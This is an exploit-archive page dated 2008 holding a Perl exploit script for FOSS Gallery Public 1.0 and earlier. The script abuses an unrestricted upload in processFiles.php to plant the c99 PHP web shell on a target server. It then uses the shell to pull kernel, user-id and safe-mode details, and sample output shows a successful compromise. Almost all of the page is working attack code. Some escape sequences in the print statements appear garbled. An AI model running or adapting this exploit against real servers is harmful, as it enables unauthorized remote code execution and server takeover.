[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : FOSS Gallery Public <= 1.0 Arbitrary Upload / Information c99 Expoit
# Published : 2008-10-05
# Author : JosS
# Previous Title : Yerba SACphp <= 6.3 (mod) Local File Inclusion Exploit
# Next Title : Galerie 3.2 (pic) WBB Lite Addon Blind SQL Injection Exploit
# FOSS Gallery Public <= 1.0 Arbitrary Upload / Information c99 Expoit
# url: http://downloads.sourceforge.net/fossgallery/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# OUTPUT:
#
# Exploited sucessfully.
#
# [+] Info:
# Linux h4x0rz 2.6.18-6-686 #1 SMP Mon Aug 18 08:42:39 UTC 2008 i686
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Safe Mode: OFF (not secure)
#
# joss@h4x0rz:~/Desktop$
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Headers;
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
}
}
my ($host, $file) = @ARGV ;
if (!$ARGV[0]) {
&lw;
print "n[x] FOSS Gallery Public <= 1.0 Arbitrary Upload / Information c99 Expoitn";
print "[x] written by JosS - sys-project[at]hotmail.comn";
print "[x] http://www.spanish-hackers.com/nn";
print "Usage: $0 [host] [file] n";
print "if doesn't exist the file: file default is phpshell C99nn";
exit;
}
if (!$ARGV[1])
{
$file="c99.php";
}
&lw;
$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ //$/);
my $ua = LWP::UserAgent->new();
$ua->timeout(12);
my $request = HTTP::Request->new();
my $response;
my $header;
my $url = $host."processFiles.php";
$response = $ua->request(POST $url, Content_Type => 'form-data',
Content => [ uploadNeed => "1", uploadFile0 => [$file]]);
$content = $response->content;
if ($content =~ /uploaded sucessful/) { print "nExploited sucessfully.n"; }
else { print "nExploit failedn"; exit;}
my $c99="c99.php";
chomp ($c99);
if ($file =~ /c99.php/)
{
$comando="?act=cmd&d=/&cmd=/&cmd_txt=1&submit=Execute";
print "n";
my $final = $host.$c99.$comando;
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$ua->timeout(10);
$doc = $ua->request($req)->as_string;
$kernel = $1 if ( $doc =~ m/-a: (.*?)</b>/mosix);
$id = $1 if ( $doc =~ m/<b>uid (.*?)</b>/mosix);
$safe = $1 if ( $doc =~ m/color=green> (.*?)</font>/mosix);
print "[+] Info:n";
print " $kerneln";
print " uid$idn";
print " Safe Mode: $safen";
print "n";
}
__EOF__
# www.Syue.com [2008-10-05]